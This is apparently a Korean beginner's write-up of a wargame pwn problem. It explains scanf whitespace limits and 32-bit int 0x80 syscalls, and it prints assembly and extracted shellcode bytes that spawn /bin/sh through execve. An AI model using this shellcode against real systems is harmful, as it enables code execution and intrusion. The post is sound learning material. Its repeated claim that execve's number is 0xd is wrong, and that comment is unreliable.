basic exploitation 000

buaii·2023년 6월 28일
0

System Hacking

목록 보기
2/11

포너블 입문자라서 정말 힘들었던 문제였다

필요한 정보

  1. scanf("%s", buf)
    공백을 문자열의 끝으로 인식하기 때문에
    쉘코드 중간에 공백이 있을 경우 뒤가 다 날아간다
    (\x09, \x0a, \x0b, \x0c, \x0d, \x20)


  2. 32bit 함수 호출
    함수 호출 인자가 rdi, rsi, rdx가 아닌 ebx, ecx, edx 라고한다 ;;
    execve 함수는 eax = 0xd


  3. int 0x80
    syscall이 아닌 int 0x80을 쓴다고 한다
    이건 정확이 왜 그런지 아직도 모르겠다


어셈블리

위의 정보를 가지고 어셈블리언어를 작성해보자

section .text
    global _start

_start:
    ; /bin/sh 문자열을 스택에 푸시
    xor ebx, ebx
    push ebx
    push 0x68732f2f  ; "hs//"
    push 0x6e69622f  ; "nib/"

    push 0xe        ; eax = 0xd ; execve()
    pop eax         ; 여기선 공백 우회를 위해 e-3으로 실행  
    sub eax, 3      ; execve() 시스템 호출 번호
    mov ebx, esp    ; "/bin//sh" 
    xor ecx, ecx    ; argv  = null
    xor edx, edx    ; envp = null

    int 0x80        ; execve('/bin//sh', null, null)

    ; 종료 시스템 호출
    xor eax, eax
    mov ebx, eax
    inc eax
    int 0x80

쉘코드

작성한 어셈블리로 쉘코드를 추출 했다

\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x6a\x0e\x58\x83\xe8\x03\x89\xe3\x31\xc9\x31\xd2\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80

payload

exploit

profile
buaii

0개의 댓글